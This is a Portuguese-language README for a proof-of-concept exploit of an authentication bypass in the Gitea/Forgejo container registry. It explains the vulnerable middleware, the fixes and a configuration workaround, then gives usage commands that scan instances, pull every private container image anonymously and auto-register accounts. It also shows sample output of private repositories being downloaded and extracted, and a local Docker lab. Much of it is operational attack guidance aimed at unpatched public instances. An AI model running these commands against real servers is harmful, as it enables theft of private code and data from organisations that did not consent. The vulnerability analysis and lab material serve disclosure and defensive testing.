
CVE-2026-27771 - Exploit PoC de Bypass de Autenticação no Container Registry do Gitea/Forgejo - Baixar imagens privadas de contêineres sem autenticação
CVSS: N/A (não publicado)
Afeta: Gitea < 1.26.2 (todas as versões com OCI container registry)
Também afeta: Forgejo (confirmado pela NoScope)
Descoberto por: NoScope
Corrigido em: Gitea v1.26.2 (20 de maio de 2026)
Aviso legal: Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido deste código. Teste apenas em sistemas que você possua ou para os quais tenha permissão explícita para testar.
Atacantes remotos não autenticados podem baixar imagens de contêiner privadas de instâncias Gitea. Os endpoints da API OCI Distribution Spec (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) servem conteúdo para usuários fantasma/anônimos (UserID: -1) sem verificar a visibilidade do proprietário do pacote de contêiner (privado/limitado/público).
A NoScope identificou ~31.750+ instâncias expostas à internet em mais de 30 países. A falha passou despercebida por ~4 anos.
A vulnerabilidade está no middleware ReqContainerAccess (routers/api/packages/container/container.go):
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
Isso apenas verifica:
ctx.Doer é nulo? (requisição não autenticada sem nenhum token)RequireSignInViewStrict está habilitado E o usuário é um fantasma?Ele não verifica a configuração de visibilidade do proprietário do pacote (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). Um usuário fantasma (UserID: -1) com um escopo vazio passa direto e pode acessar qualquer pacote de contêiner.
O endpoint /v2/token (função Authenticate) concede tokens anônimos sem credenciais quando RequireSignInViewStrict é false.
Duas correções foram lançadas na 1.26.2:
PR #37290 — Cabeçalho condicional Basic realm no apiUnauthorizedError — impede o envio de Basic realm em instâncias públicas para evitar confundir clientes Docker, e verificação de visibilidade por proprietário no desafio de autenticação.
PR #37610 — Rótulos de visibilidade de pacotes + verificação de permissão de origem do Composer — adiciona o modelo de permissão subjacente para pacotes. Sem esses rótulos, não havia como diferenciar pacotes privados/internos/públicos no caminho de verificação de permissões.
[service]
REQUIRE_SIGNIN_VIEW = true
Isso bloqueia todo acesso anônimo (incluindo repositórios públicos), o que fecha o caminho do exploit. No entanto, o modelo de permissão subjacente ainda está quebrado — qualquer usuário autenticado ainda pode acessar todos os pacotes. Atualize para 1.26.2+ para a correção real.
python3 CVE-2026-27771-exploit.py scan <url> # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url> # Pull all images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image # Pull specific repo
python3 CVE-2026-27771-exploit.py pull <url> --dry-run # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email [email protected]
/v2/, detecta a disponibilidade de registro, obtém um token anônimo ou troca PAT por JWT/v2/_catalog (retorna TODOS os repositórios — públicos e privados — devido à visibilidade quebrada)pulled_<repo>/extracted/REQUIRE_SIGNIN_VIEW=false, obtém um token fantasma sem credenciais--token for uma string hexadecimal de 40 caracteres, troca-o automaticamente por um JWT OCI via Basic auth--token contiver pontos, usa-o diretamente como token Bearer[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"